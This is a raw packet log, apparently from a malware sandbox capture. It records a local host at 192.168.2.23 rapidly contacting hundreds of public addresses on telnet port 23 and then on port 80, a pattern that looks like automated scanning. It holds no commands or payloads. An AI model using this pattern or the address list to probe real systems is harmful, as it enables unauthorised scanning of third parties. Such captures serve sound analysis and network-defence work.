Jun 1, 2024 18:15:52.197671890 CEST	65001	23	192.168.2.23	8.126.244.92
Jun 1, 2024 18:15:52.197701931 CEST	65001	23	192.168.2.23	115.88.141.42
Jun 1, 2024 18:15:52.197730064 CEST	23	65001	42.6.124.243	192.168.2.23
Jun 1, 2024 18:15:52.197740078 CEST	23	65001	159.201.103.146	192.168.2.23
Jun 1, 2024 18:15:52.197747946 CEST	23	65001	99.143.122.118	192.168.2.23
Jun 1, 2024 18:15:52.197757006 CEST	23	65001	192.208.243.247	192.168.2.23
Jun 1, 2024 18:15:52.197765112 CEST	23	65001	74.118.15.185	192.168.2.23
Jun 1, 2024 18:15:52.197772980 CEST	23	65001	182.128.77.81	192.168.2.23
Jun 1, 2024 18:15:52.197774887 CEST	65001	23	192.168.2.23	42.6.124.243
Jun 1, 2024 18:15:52.197788954 CEST	65001	23	192.168.2.23	99.143.122.118
Jun 1, 2024 18:15:52.197798967 CEST	65001	23	192.168.2.23	192.208.243.247
Jun 1, 2024 18:15:52.197808027 CEST	23	65001	190.191.181.101	192.168.2.23
Jun 1, 2024 18:15:52.197814941 CEST	65001	23	192.168.2.23	74.118.15.185
Jun 1, 2024 18:15:52.197817087 CEST	65001	23	192.168.2.23	159.201.103.146
Jun 1, 2024 18:15:52.197818041 CEST	23	65001	43.75.112.70	192.168.2.23
Jun 1, 2024 18:15:52.197818995 CEST	65001	23	192.168.2.23	182.128.77.81
Jun 1, 2024 18:15:52.197827101 CEST	23	65001	85.102.223.202	192.168.2.23
Jun 1, 2024 18:15:52.197835922 CEST	23	65001	93.195.18.207	192.168.2.23
Jun 1, 2024 18:15:52.197844028 CEST	23	65001	23.106.105.213	192.168.2.23
Jun 1, 2024 18:15:52.197849035 CEST	65001	23	192.168.2.23	190.191.181.101
Jun 1, 2024 18:15:52.197871923 CEST	65001	23	192.168.2.23	93.195.18.207
Jun 1, 2024 18:15:52.197876930 CEST	65001	23	192.168.2.23	43.75.112.70
Jun 1, 2024 18:15:52.197876930 CEST	65001	23	192.168.2.23	85.102.223.202
Jun 1, 2024 18:15:52.197886944 CEST	65001	23	192.168.2.23	23.106.105.213
Jun 1, 2024 18:15:52.198338032 CEST	23	65001	206.49.82.97	192.168.2.23
Jun 1, 2024 18:15:52.198348045 CEST	23	65001	165.39.244.7	192.168.2.23
Jun 1, 2024 18:15:52.198355913 CEST	23	65001	196.232.121.87	192.168.2.23
Jun 1, 2024 18:15:52.198371887 CEST	23	65001	36.233.253.166	192.168.2.23
Jun 1, 2024 18:15:52.198380947 CEST	23	65001	64.199.67.72	192.168.2.23
Jun 1, 2024 18:15:52.198384047 CEST	23	65001	212.44.155.222	192.168.2.23
Jun 1, 2024 18:15:52.198393106 CEST	65001	23	192.168.2.23	165.39.244.7
Jun 1, 2024 18:15:52.198402882 CEST	65001	23	192.168.2.23	36.233.253.166
Jun 1, 2024 18:15:52.198406935 CEST	65001	23	192.168.2.23	206.49.82.97
Jun 1, 2024 18:15:52.198406935 CEST	65001	23	192.168.2.23	196.232.121.87
Jun 1, 2024 18:15:52.198415995 CEST	65001	23	192.168.2.23	64.199.67.72
Jun 1, 2024 18:15:52.198420048 CEST	65001	23	192.168.2.23	212.44.155.222
Jun 1, 2024 18:15:52.198462009 CEST	23	65001	47.120.188.241	192.168.2.23
Jun 1, 2024 18:15:52.198471069 CEST	23	65001	133.11.88.38	192.168.2.23
Jun 1, 2024 18:15:52.198478937 CEST	23	65001	84.50.55.105	192.168.2.23
Jun 1, 2024 18:15:52.198487043 CEST	23	65001	71.28.122.83	192.168.2.23
Jun 1, 2024 18:15:52.198494911 CEST	23	65001	60.188.56.83	192.168.2.23
Jun 1, 2024 18:15:52.198506117 CEST	65001	23	192.168.2.23	47.120.188.241
Jun 1, 2024 18:15:52.198506117 CEST	65001	23	192.168.2.23	133.11.88.38
Jun 1, 2024 18:15:52.198510885 CEST	23	65001	75.127.188.127	192.168.2.23
Jun 1, 2024 18:15:52.198518991 CEST	65001	23	192.168.2.23	84.50.55.105
Jun 1, 2024 18:15:52.198520899 CEST	23	65001	170.31.88.137	192.168.2.23
Jun 1, 2024 18:15:52.198534012 CEST	65001	23	192.168.2.23	71.28.122.83
Jun 1, 2024 18:15:52.198548079 CEST	65001	23	192.168.2.23	75.127.188.127
Jun 1, 2024 18:15:52.198549986 CEST	23	65001	66.255.254.182	192.168.2.23
Jun 1, 2024 18:15:52.198551893 CEST	65001	23	192.168.2.23	60.188.56.83
Jun 1, 2024 18:15:52.198559046 CEST	23	65001	96.184.199.51	192.168.2.23
Jun 1, 2024 18:15:52.198569059 CEST	23	65001	152.214.221.89	192.168.2.23
Jun 1, 2024 18:15:52.198575020 CEST	65001	23	192.168.2.23	170.31.88.137
Jun 1, 2024 18:15:52.198576927 CEST	23	65001	186.221.89.154	192.168.2.23
Jun 1, 2024 18:15:52.198584080 CEST	65001	23	192.168.2.23	66.255.254.182
Jun 1, 2024 18:15:52.198596001 CEST	23	65001	14.195.218.121	192.168.2.23
Jun 1, 2024 18:15:52.198600054 CEST	65001	23	192.168.2.23	96.184.199.51
Jun 1, 2024 18:15:52.198604107 CEST	23	65001	119.142.31.146	192.168.2.23
Jun 1, 2024 18:15:52.198612928 CEST	23	65001	67.81.159.86	192.168.2.23
Jun 1, 2024 18:15:52.198617935 CEST	65001	23	192.168.2.23	186.221.89.154
Jun 1, 2024 18:15:52.198621035 CEST	65001	23	192.168.2.23	152.214.221.89
Jun 1, 2024 18:15:52.198631048 CEST	65001	23	192.168.2.23	14.195.218.121
Jun 1, 2024 18:15:52.198646069 CEST	65001	23	192.168.2.23	119.142.31.146
Jun 1, 2024 18:15:52.198658943 CEST	65001	23	192.168.2.23	67.81.159.86
Jun 1, 2024 18:15:52.199161053 CEST	23	65001	49.73.69.74	192.168.2.23
Jun 1, 2024 18:15:52.199172020 CEST	23	65001	87.207.137.26	192.168.2.23
Jun 1, 2024 18:15:52.199179888 CEST	23	65001	140.244.146.0	192.168.2.23
Jun 1, 2024 18:15:52.199191093 CEST	23	65001	144.248.5.132	192.168.2.23
Jun 1, 2024 18:15:52.199217081 CEST	65001	23	192.168.2.23	87.207.137.26
Jun 1, 2024 18:15:52.199220896 CEST	65001	23	192.168.2.23	49.73.69.74
Jun 1, 2024 18:15:52.199223995 CEST	65001	23	192.168.2.23	140.244.146.0
Jun 1, 2024 18:15:52.199232101 CEST	65001	23	192.168.2.23	144.248.5.132
Jun 1, 2024 18:15:52.199254990 CEST	23	65001	54.2.131.145	192.168.2.23
Jun 1, 2024 18:15:52.199265003 CEST	23	65001	113.133.54.134	192.168.2.23
Jun 1, 2024 18:15:52.199275970 CEST	23	65001	80.144.83.22	192.168.2.23
Jun 1, 2024 18:15:52.199285984 CEST	23	65001	137.87.69.180	192.168.2.23
Jun 1, 2024 18:15:52.199295998 CEST	65001	23	192.168.2.23	54.2.131.145
Jun 1, 2024 18:15:52.199305058 CEST	23	65001	169.161.245.162	192.168.2.23
Jun 1, 2024 18:15:52.199310064 CEST	65001	23	192.168.2.23	113.133.54.134
Jun 1, 2024 18:15:52.199314117 CEST	23	65001	99.95.248.151	192.168.2.23
Jun 1, 2024 18:15:52.199321985 CEST	65001	23	192.168.2.23	80.144.83.22
Jun 1, 2024 18:15:52.199323893 CEST	23	65001	67.81.107.99	192.168.2.23
Jun 1, 2024 18:15:52.199333906 CEST	23	65001	170.178.21.72	192.168.2.23
Jun 1, 2024 18:15:52.199342966 CEST	23	65001	153.226.103.180	192.168.2.23
Jun 1, 2024 18:15:52.199347973 CEST	65001	23	192.168.2.23	169.161.245.162
Jun 1, 2024 18:15:52.199352026 CEST	23	65001	93.212.78.50	192.168.2.23
Jun 1, 2024 18:15:52.199352026 CEST	65001	23	192.168.2.23	99.95.248.151
Jun 1, 2024 18:15:52.199361086 CEST	23	65001	152.48.190.220	192.168.2.23
Jun 1, 2024 18:15:52.199376106 CEST	65001	23	192.168.2.23	170.178.21.72
Jun 1, 2024 18:15:52.199381113 CEST	23	65001	45.169.158.241	192.168.2.23
Jun 1, 2024 18:15:52.199393034 CEST	23	65001	161.208.50.187	192.168.2.23
Jun 1, 2024 18:15:52.199402094 CEST	23	65001	8.119.126.100	192.168.2.23
Jun 1, 2024 18:15:52.199410915 CEST	23	65001	146.226.194.88	192.168.2.23
Jun 1, 2024 18:15:52.199419975 CEST	23	65001	116.92.102.40	192.168.2.23
Jun 1, 2024 18:15:52.199429035 CEST	23	65001	51.151.168.221	192.168.2.23
Jun 1, 2024 18:15:52.199434996 CEST	65001	23	192.168.2.23	45.169.158.241
Jun 1, 2024 18:15:52.199434996 CEST	65001	23	192.168.2.23	8.119.126.100
Jun 1, 2024 18:15:52.199443102 CEST	65001	23	192.168.2.23	146.226.194.88
Jun 1, 2024 18:15:52.199450016 CEST	65001	23	192.168.2.23	116.92.102.40
Jun 1, 2024 18:15:52.199477911 CEST	65001	23	192.168.2.23	137.87.69.180
Jun 1, 2024 18:15:52.199477911 CEST	65001	23	192.168.2.23	67.81.107.99
Jun 1, 2024 18:15:52.199477911 CEST	65001	23	192.168.2.23	153.226.103.180
Jun 1, 2024 18:15:52.199477911 CEST	65001	23	192.168.2.23	93.212.78.50
Jun 1, 2024 18:15:52.199477911 CEST	65001	23	192.168.2.23	152.48.190.220
Jun 1, 2024 18:15:52.199477911 CEST	65001	23	192.168.2.23	161.208.50.187
Jun 1, 2024 18:15:52.199477911 CEST	65001	23	192.168.2.23	51.151.168.221
Jun 1, 2024 18:15:52.199987888 CEST	23	65001	113.2.173.216	192.168.2.23
Jun 1, 2024 18:15:52.199999094 CEST	23	65001	216.71.174.178	192.168.2.23
Jun 1, 2024 18:15:52.200006962 CEST	23	65001	90.120.77.70	192.168.2.23
Jun 1, 2024 18:15:52.200040102 CEST	65001	23	192.168.2.23	113.2.173.216
Jun 1, 2024 18:15:52.200042963 CEST	23	65001	143.221.245.48	192.168.2.23
Jun 1, 2024 18:15:52.200051069 CEST	65001	23	192.168.2.23	216.71.174.178
Jun 1, 2024 18:15:52.200064898 CEST	23	65001	189.33.183.254	192.168.2.23
Jun 1, 2024 18:15:52.200073957 CEST	23	65001	190.235.168.24	192.168.2.23
Jun 1, 2024 18:15:52.200083017 CEST	23	65001	68.216.97.204	192.168.2.23
Jun 1, 2024 18:15:52.200088024 CEST	65001	23	192.168.2.23	90.120.77.70
Jun 1, 2024 18:15:52.200088024 CEST	65001	23	192.168.2.23	143.221.245.48
Jun 1, 2024 18:15:52.200102091 CEST	65001	23	192.168.2.23	189.33.183.254
Jun 1, 2024 18:15:52.200110912 CEST	23	65001	81.29.188.181	192.168.2.23
Jun 1, 2024 18:15:52.200110912 CEST	65001	23	192.168.2.23	190.235.168.24
Jun 1, 2024 18:15:52.200112104 CEST	65001	23	192.168.2.23	68.216.97.204
Jun 1, 2024 18:15:52.200120926 CEST	23	65001	172.144.251.104	192.168.2.23
Jun 1, 2024 18:15:52.200129986 CEST	23	65001	184.166.32.129	192.168.2.23
Jun 1, 2024 18:15:52.200139999 CEST	23	65001	40.217.191.96	192.168.2.23
Jun 1, 2024 18:15:52.200148106 CEST	23	65001	9.149.125.41	192.168.2.23
Jun 1, 2024 18:15:52.200155973 CEST	65001	23	192.168.2.23	172.144.251.104
Jun 1, 2024 18:15:52.200165987 CEST	65001	23	192.168.2.23	81.29.188.181
Jun 1, 2024 18:15:52.200167894 CEST	23	65001	103.111.17.159	192.168.2.23
Jun 1, 2024 18:15:52.200171947 CEST	65001	23	192.168.2.23	184.166.32.129
Jun 1, 2024 18:15:52.200179100 CEST	23	65001	88.1.53.99	192.168.2.23
Jun 1, 2024 18:15:52.200187922 CEST	23	65001	79.20.107.108	192.168.2.23
Jun 1, 2024 18:15:52.200195074 CEST	65001	23	192.168.2.23	40.217.191.96
Jun 1, 2024 18:15:52.200195074 CEST	65001	23	192.168.2.23	9.149.125.41
Jun 1, 2024 18:15:52.200197935 CEST	23	65001	83.163.134.91	192.168.2.23
Jun 1, 2024 18:15:52.200206041 CEST	65001	23	192.168.2.23	103.111.17.159
Jun 1, 2024 18:15:52.200213909 CEST	65001	23	192.168.2.23	88.1.53.99
Jun 1, 2024 18:15:52.200213909 CEST	23	65001	91.56.209.249	192.168.2.23
Jun 1, 2024 18:15:52.200221062 CEST	65001	23	192.168.2.23	79.20.107.108
Jun 1, 2024 18:15:52.200227022 CEST	23	65001	116.48.202.238	192.168.2.23
Jun 1, 2024 18:15:52.200232983 CEST	65001	23	192.168.2.23	83.163.134.91
Jun 1, 2024 18:15:52.200248003 CEST	23	65001	144.22.51.127	192.168.2.23
Jun 1, 2024 18:15:52.200248957 CEST	65001	23	192.168.2.23	91.56.209.249
Jun 1, 2024 18:15:52.200258017 CEST	23	65001	53.37.116.136	192.168.2.23
Jun 1, 2024 18:15:52.200267076 CEST	23	65001	123.89.176.172	192.168.2.23
Jun 1, 2024 18:15:52.200275898 CEST	23	65001	97.251.208.75	192.168.2.23
Jun 1, 2024 18:15:52.200289011 CEST	65001	23	192.168.2.23	144.22.51.127
Jun 1, 2024 18:15:52.200301886 CEST	65001	23	192.168.2.23	53.37.116.136
Jun 1, 2024 18:15:52.200309038 CEST	65001	23	192.168.2.23	123.89.176.172
Jun 1, 2024 18:15:52.200315952 CEST	65001	23	192.168.2.23	116.48.202.238
Jun 1, 2024 18:15:52.200323105 CEST	65001	23	192.168.2.23	97.251.208.75
Jun 1, 2024 18:15:52.200864077 CEST	23	65001	78.7.168.190	192.168.2.23
Jun 1, 2024 18:15:52.200886011 CEST	23	65001	74.114.41.176	192.168.2.23
Jun 1, 2024 18:15:52.200896978 CEST	23	65001	113.223.201.111	192.168.2.23
Jun 1, 2024 18:15:52.200906038 CEST	23	65001	139.120.24.193	192.168.2.23
Jun 1, 2024 18:15:52.200913906 CEST	65001	23	192.168.2.23	78.7.168.190
Jun 1, 2024 18:15:52.200918913 CEST	65001	23	192.168.2.23	74.114.41.176
Jun 1, 2024 18:15:52.200925112 CEST	23	65001	212.13.41.210	192.168.2.23
Jun 1, 2024 18:15:52.200932026 CEST	65001	23	192.168.2.23	113.223.201.111
Jun 1, 2024 18:15:52.200937986 CEST	23	65001	1.50.44.123	192.168.2.23
Jun 1, 2024 18:15:52.200948000 CEST	65001	23	192.168.2.23	139.120.24.193
Jun 1, 2024 18:15:52.200954914 CEST	23	65001	192.64.166.134	192.168.2.23
Jun 1, 2024 18:15:52.200970888 CEST	65001	23	192.168.2.23	212.13.41.210
Jun 1, 2024 18:15:52.200970888 CEST	65001	23	192.168.2.23	1.50.44.123
Jun 1, 2024 18:15:52.200973034 CEST	23	65001	154.118.52.225	192.168.2.23
Jun 1, 2024 18:15:52.200984001 CEST	23	65001	37.159.142.38	192.168.2.23
Jun 1, 2024 18:15:52.200998068 CEST	65001	23	192.168.2.23	192.64.166.134
Jun 1, 2024 18:15:52.201019049 CEST	23	65001	209.180.195.48	192.168.2.23
Jun 1, 2024 18:15:52.201021910 CEST	65001	23	192.168.2.23	154.118.52.225
Jun 1, 2024 18:15:52.201028109 CEST	65001	23	192.168.2.23	37.159.142.38
Jun 1, 2024 18:15:52.201036930 CEST	23	65001	75.145.109.10	192.168.2.23
Jun 1, 2024 18:15:52.201045990 CEST	23	65001	95.248.230.205	192.168.2.23
Jun 1, 2024 18:15:52.201056004 CEST	23	65001	68.158.209.149	192.168.2.23
Jun 1, 2024 18:15:52.201056004 CEST	65001	23	192.168.2.23	209.180.195.48
Jun 1, 2024 18:15:52.201065063 CEST	23	65001	207.237.214.158	192.168.2.23
Jun 1, 2024 18:15:52.201073885 CEST	65001	23	192.168.2.23	75.145.109.10
Jun 1, 2024 18:15:52.201076031 CEST	23	65001	96.30.209.154	192.168.2.23
Jun 1, 2024 18:15:52.201083899 CEST	65001	23	192.168.2.23	95.248.230.205
Jun 1, 2024 18:15:52.201088905 CEST	65001	23	192.168.2.23	207.237.214.158
Jun 1, 2024 18:15:52.201100111 CEST	23	65001	141.206.210.20	192.168.2.23
Jun 1, 2024 18:15:52.201107979 CEST	65001	23	192.168.2.23	68.158.209.149
Jun 1, 2024 18:15:52.201111078 CEST	23	65001	175.207.165.182	192.168.2.23
Jun 1, 2024 18:15:52.201131105 CEST	23	65001	125.172.136.70	192.168.2.23
Jun 1, 2024 18:15:52.201139927 CEST	23	65001	130.85.168.55	192.168.2.23
Jun 1, 2024 18:15:52.201148033 CEST	65001	23	192.168.2.23	96.30.209.154
Jun 1, 2024 18:15:52.201148033 CEST	65001	23	192.168.2.23	141.206.210.20
Jun 1, 2024 18:15:52.201148033 CEST	65001	23	192.168.2.23	175.207.165.182
Jun 1, 2024 18:15:52.201165915 CEST	23	65001	115.182.99.2	192.168.2.23
Jun 1, 2024 18:15:52.201169014 CEST	65001	23	192.168.2.23	125.172.136.70
Jun 1, 2024 18:15:52.201175928 CEST	23	65001	79.211.52.150	192.168.2.23
Jun 1, 2024 18:15:52.201184988 CEST	23	65001	74.204.39.154	192.168.2.23
Jun 1, 2024 18:15:52.201205969 CEST	65001	23	192.168.2.23	79.211.52.150
Jun 1, 2024 18:15:52.201222897 CEST	65001	23	192.168.2.23	74.204.39.154
Jun 1, 2024 18:15:52.201735020 CEST	23	65001	31.247.94.91	192.168.2.23
Jun 1, 2024 18:15:52.201786041 CEST	23	65001	97.85.53.63	192.168.2.23
Jun 1, 2024 18:15:52.201901913 CEST	23	65001	165.38.80.20	192.168.2.23
Jun 1, 2024 18:15:52.201911926 CEST	23	65001	180.186.172.22	192.168.2.23
Jun 1, 2024 18:15:52.201920033 CEST	23	65001	143.114.31.180	192.168.2.23
Jun 1, 2024 18:15:52.201929092 CEST	23	65001	186.58.248.182	192.168.2.23
Jun 1, 2024 18:15:52.201937914 CEST	23	65001	167.47.187.13	192.168.2.23
Jun 1, 2024 18:15:52.201946020 CEST	23	65001	12.60.134.121	192.168.2.23
Jun 1, 2024 18:15:52.201966047 CEST	23	65001	69.102.25.211	192.168.2.23
Jun 1, 2024 18:15:52.201972008 CEST	65001	23	192.168.2.23	186.58.248.182
Jun 1, 2024 18:15:52.201975107 CEST	23	65001	144.232.105.45	192.168.2.23
Jun 1, 2024 18:15:52.201986074 CEST	23	65001	181.194.228.134	192.168.2.23
Jun 1, 2024 18:15:52.201987982 CEST	65001	23	192.168.2.23	12.60.134.121
Jun 1, 2024 18:15:52.201988935 CEST	65001	23	192.168.2.23	130.85.168.55
Jun 1, 2024 18:15:52.201988935 CEST	65001	23	192.168.2.23	115.182.99.2
Jun 1, 2024 18:15:52.201989889 CEST	65001	23	192.168.2.23	31.247.94.91
Jun 1, 2024 18:15:52.201989889 CEST	65001	23	192.168.2.23	97.85.53.63
Jun 1, 2024 18:15:52.201989889 CEST	65001	23	192.168.2.23	165.38.80.20
Jun 1, 2024 18:15:52.201989889 CEST	65001	23	192.168.2.23	180.186.172.22
Jun 1, 2024 18:15:52.201989889 CEST	65001	23	192.168.2.23	143.114.31.180
Jun 1, 2024 18:15:52.201989889 CEST	65001	23	192.168.2.23	167.47.187.13
Jun 1, 2024 18:15:52.201994896 CEST	23	65001	216.99.71.231	192.168.2.23
Jun 1, 2024 18:15:52.202003002 CEST	65001	23	192.168.2.23	69.102.25.211
Jun 1, 2024 18:15:52.202003956 CEST	23	65001	31.185.249.182	192.168.2.23
Jun 1, 2024 18:15:52.202018023 CEST	23	65001	8.204.197.6	192.168.2.23
Jun 1, 2024 18:15:52.202023029 CEST	65001	23	192.168.2.23	216.99.71.231
Jun 1, 2024 18:15:52.202032089 CEST	23	65001	36.105.0.239	192.168.2.23
Jun 1, 2024 18:15:52.202047110 CEST	65001	23	192.168.2.23	31.185.249.182
Jun 1, 2024 18:15:52.202053070 CEST	23	65001	82.118.43.50	192.168.2.23
Jun 1, 2024 18:15:52.202056885 CEST	65001	23	192.168.2.23	8.204.197.6
Jun 1, 2024 18:15:52.202064037 CEST	23	65001	222.146.233.28	192.168.2.23
Jun 1, 2024 18:15:52.202065945 CEST	65001	23	192.168.2.23	36.105.0.239
Jun 1, 2024 18:15:52.202073097 CEST	65001	23	192.168.2.23	144.232.105.45
Jun 1, 2024 18:15:52.202073097 CEST	65001	23	192.168.2.23	181.194.228.134
Jun 1, 2024 18:15:52.202074051 CEST	23	65001	93.22.30.87	192.168.2.23
Jun 1, 2024 18:15:52.202084064 CEST	23	65001	101.216.242.67	192.168.2.23
Jun 1, 2024 18:15:52.202091932 CEST	23	65001	207.147.78.144	192.168.2.23
Jun 1, 2024 18:15:52.202094078 CEST	65001	23	192.168.2.23	82.118.43.50
Jun 1, 2024 18:15:52.202110052 CEST	23	65001	164.134.249.155	192.168.2.23
Jun 1, 2024 18:15:52.202116966 CEST	65001	23	192.168.2.23	93.22.30.87
Jun 1, 2024 18:15:52.202116966 CEST	65001	23	192.168.2.23	101.216.242.67
Jun 1, 2024 18:15:52.202119112 CEST	23	65001	160.130.40.113	192.168.2.23
Jun 1, 2024 18:15:52.202137947 CEST	23	65001	134.49.227.31	192.168.2.23
Jun 1, 2024 18:15:52.202177048 CEST	65001	23	192.168.2.23	134.49.227.31
Jun 1, 2024 18:15:52.202244043 CEST	65001	23	192.168.2.23	222.146.233.28
Jun 1, 2024 18:15:52.202246904 CEST	65001	23	192.168.2.23	207.147.78.144
Jun 1, 2024 18:15:52.202246904 CEST	65001	23	192.168.2.23	160.130.40.113
Jun 1, 2024 18:15:52.202246904 CEST	65001	23	192.168.2.23	164.134.249.155
Jun 1, 2024 18:15:52.202553988 CEST	23	65001	170.193.181.132	192.168.2.23
Jun 1, 2024 18:15:52.202589035 CEST	23	65001	165.237.9.253	192.168.2.23
Jun 1, 2024 18:15:52.202598095 CEST	23	65001	105.38.251.34	192.168.2.23
Jun 1, 2024 18:15:52.202601910 CEST	65001	23	192.168.2.23	170.193.181.132
Jun 1, 2024 18:15:52.202611923 CEST	23	65001	175.203.192.71	192.168.2.23
Jun 1, 2024 18:15:52.202629089 CEST	23	65001	187.178.27.229	192.168.2.23
Jun 1, 2024 18:15:52.202668905 CEST	65001	23	192.168.2.23	165.237.9.253
Jun 1, 2024 18:15:52.202671051 CEST	65001	23	192.168.2.23	105.38.251.34
Jun 1, 2024 18:15:52.202671051 CEST	65001	23	192.168.2.23	175.203.192.71
Jun 1, 2024 18:15:52.202671051 CEST	65001	23	192.168.2.23	187.178.27.229
Jun 1, 2024 18:15:52.203521013 CEST	80	43496	120.22.130.14	192.168.2.23
Jun 1, 2024 18:15:52.203562021 CEST	80	43496	146.154.17.102	192.168.2.23
Jun 1, 2024 18:15:52.203571081 CEST	43496	80	192.168.2.23	120.22.130.14
Jun 1, 2024 18:15:52.203610897 CEST	43496	80	192.168.2.23	146.154.17.102
Jun 1, 2024 18:15:52.204130888 CEST	80	43496	176.184.31.108	192.168.2.23
Jun 1, 2024 18:15:52.204142094 CEST	80	43496	17.87.254.21	192.168.2.23
Jun 1, 2024 18:15:52.204149961 CEST	80	43496	118.56.224.81	192.168.2.23
Jun 1, 2024 18:15:52.204189062 CEST	43496	80	192.168.2.23	176.184.31.108
Jun 1, 2024 18:15:52.204190016 CEST	43496	80	192.168.2.23	17.87.254.21
Jun 1, 2024 18:15:52.204205036 CEST	43496	80	192.168.2.23	118.56.224.81
Jun 1, 2024 18:15:52.204226971 CEST	80	43496	138.193.26.70	192.168.2.23
Jun 1, 2024 18:15:52.204236984 CEST	80	43496	134.10.23.167	192.168.2.23
Jun 1, 2024 18:15:52.204260111 CEST	80	43496	91.176.40.173	192.168.2.23
Jun 1, 2024 18:15:52.204269886 CEST	80	43496	115.206.192.214	192.168.2.23
Jun 1, 2024 18:15:52.204276085 CEST	43496	80	192.168.2.23	138.193.26.70
Jun 1, 2024 18:15:52.204276085 CEST	43496	80	192.168.2.23	134.10.23.167
Jun 1, 2024 18:15:52.204286098 CEST	80	43496	42.244.32.219	192.168.2.23
Jun 1, 2024 18:15:52.204296112 CEST	80	43496	198.208.129.228	192.168.2.23
Jun 1, 2024 18:15:52.204304934 CEST	80	43496	98.108.66.200	192.168.2.23
Jun 1, 2024 18:15:52.204305887 CEST	43496	80	192.168.2.23	91.176.40.173
Jun 1, 2024 18:15:52.204305887 CEST	43496	80	192.168.2.23	115.206.192.214
Jun 1, 2024 18:15:52.204313993 CEST	80	43496	167.71.75.216	192.168.2.23
Jun 1, 2024 18:15:52.204318047 CEST	43496	80	192.168.2.23	198.208.129.228
Jun 1, 2024 18:15:52.204324007 CEST	80	43496	149.115.99.191	192.168.2.23
Jun 1, 2024 18:15:52.204329014 CEST	43496	80	192.168.2.23	42.244.32.219
Jun 1, 2024 18:15:52.204334021 CEST	80	43496	92.126.90.34	192.168.2.23
Jun 1, 2024 18:15:52.204343081 CEST	80	43496	186.149.129.182	192.168.2.23
Jun 1, 2024 18:15:52.204351902 CEST	80	43496	81.132.76.122	192.168.2.23
Jun 1, 2024 18:15:52.204351902 CEST	43496	80	192.168.2.23	167.71.75.216
Jun 1, 2024 18:15:52.204355955 CEST	43496	80	192.168.2.23	149.115.99.191
Jun 1, 2024 18:15:52.204360962 CEST	80	43496	193.77.243.238	192.168.2.23
Jun 1, 2024 18:15:52.204360962 CEST	43496	80	192.168.2.23	98.108.66.200
Jun 1, 2024 18:15:52.204365969 CEST	43496	80	192.168.2.23	92.126.90.34
Jun 1, 2024 18:15:52.204375982 CEST	43496	80	192.168.2.23	186.149.129.182
Jun 1, 2024 18:15:52.204380035 CEST	80	43496	81.92.36.148	192.168.2.23
Jun 1, 2024 18:15:52.204391003 CEST	80	43496	222.18.180.172	192.168.2.23
Jun 1, 2024 18:15:52.204390049 CEST	43496	80	192.168.2.23	81.132.76.122
Jun 1, 2024 18:15:52.204391956 CEST	43496	80	192.168.2.23	193.77.243.238
Jun 1, 2024 18:15:52.204400063 CEST	80	43496	115.246.114.148	192.168.2.23
Jun 1, 2024 18:15:52.204410076 CEST	80	43496	35.40.58.241	192.168.2.23
Jun 1, 2024 18:15:52.204413891 CEST	80	43496	65.91.194.133	192.168.2.23
Jun 1, 2024 18:15:52.204417944 CEST	80	43496	34.240.253.41	192.168.2.23
Jun 1, 2024 18:15:52.204420090 CEST	43496	80	192.168.2.23	81.92.36.148
Jun 1, 2024 18:15:52.204427004 CEST	80	43496	78.247.12.109	192.168.2.23
Jun 1, 2024 18:15:52.204436064 CEST	80	43496	117.200.77.204	192.168.2.23
Jun 1, 2024 18:15:52.204442024 CEST	43496	80	192.168.2.23	222.18.180.172
Jun 1, 2024 18:15:52.204451084 CEST	43496	80	192.168.2.23	115.246.114.148
Jun 1, 2024 18:15:52.204452038 CEST	80	43496	221.104.128.209	192.168.2.23
Jun 1, 2024 18:15:52.204452991 CEST	43496	80	192.168.2.23	35.40.58.241
Jun 1, 2024 18:15:52.204459906 CEST	43496	80	192.168.2.23	65.91.194.133
Jun 1, 2024 18:15:52.204469919 CEST	43496	80	192.168.2.23	78.247.12.109
Jun 1, 2024 18:15:52.204477072 CEST	43496	80	192.168.2.23	34.240.253.41
Jun 1, 2024 18:15:52.204478979 CEST	43496	80	192.168.2.23	117.200.77.204
Jun 1, 2024 18:15:52.204504967 CEST	43496	80	192.168.2.23	221.104.128.209
Jun 1, 2024 18:15:52.204905033 CEST	80	43496	107.165.24.228	192.168.2.23
Jun 1, 2024 18:15:52.204946041 CEST	80	43496	81.37.220.40	192.168.2.23
Jun 1, 2024 18:15:52.204957008 CEST	80	43496	43.221.116.139	192.168.2.23
Jun 1, 2024 18:15:52.204956055 CEST	43496	80	192.168.2.23	107.165.24.228
Jun 1, 2024 18:15:52.204965115 CEST	80	43496	37.168.229.134	192.168.2.23
Jun 1, 2024 18:15:52.204983950 CEST	80	43496	149.127.43.235	192.168.2.23
Jun 1, 2024 18:15:52.204987049 CEST	43496	80	192.168.2.23	81.37.220.40
Jun 1, 2024 18:15:52.204993010 CEST	80	43496	202.24.92.234	192.168.2.23
Jun 1, 2024 18:15:52.204996109 CEST	43496	80	192.168.2.23	37.168.229.134
Jun 1, 2024 18:15:52.204998016 CEST	43496	80	192.168.2.23	43.221.116.139
Jun 1, 2024 18:15:52.205002069 CEST	80	43496	41.79.241.72	192.168.2.23
Jun 1, 2024 18:15:52.205010891 CEST	80	43496	145.100.188.83	192.168.2.23
Jun 1, 2024 18:15:52.205019951 CEST	80	43496	202.238.8.254	192.168.2.23
Jun 1, 2024 18:15:52.205025911 CEST	43496	80	192.168.2.23	149.127.43.235
Jun 1, 2024 18:15:52.205033064 CEST	80	43496	174.194.105.235	192.168.2.23
Jun 1, 2024 18:15:52.205040932 CEST	43496	80	192.168.2.23	41.79.241.72
Jun 1, 2024 18:15:52.205040932 CEST	43496	80	192.168.2.23	202.24.92.234
Jun 1, 2024 18:15:52.205043077 CEST	43496	80	192.168.2.23	145.100.188.83
Jun 1, 2024 18:15:52.205044031 CEST	80	43496	65.165.107.159	192.168.2.23
Jun 1, 2024 18:15:52.205051899 CEST	43496	80	192.168.2.23	202.238.8.254
Jun 1, 2024 18:15:52.205065012 CEST	80	43496	140.5.76.153	192.168.2.23
Jun 1, 2024 18:15:52.205074072 CEST	80	43496	83.231.82.8	192.168.2.23
Jun 1, 2024 18:15:52.205085039 CEST	80	43496	57.222.230.206	192.168.2.23
Jun 1, 2024 18:15:52.205085039 CEST	43496	80	192.168.2.23	174.194.105.235
Jun 1, 2024 18:15:52.205092907 CEST	43496	80	192.168.2.23	65.165.107.159
Jun 1, 2024 18:15:52.205096006 CEST	80	43496	128.101.239.153	192.168.2.23
Jun 1, 2024 18:15:52.205105066 CEST	43496	80	192.168.2.23	140.5.76.153
Jun 1, 2024 18:15:52.205106020 CEST	80	43496	45.5.242.217	192.168.2.23
Jun 1, 2024 18:15:52.205117941 CEST	43496	80	192.168.2.23	83.231.82.8
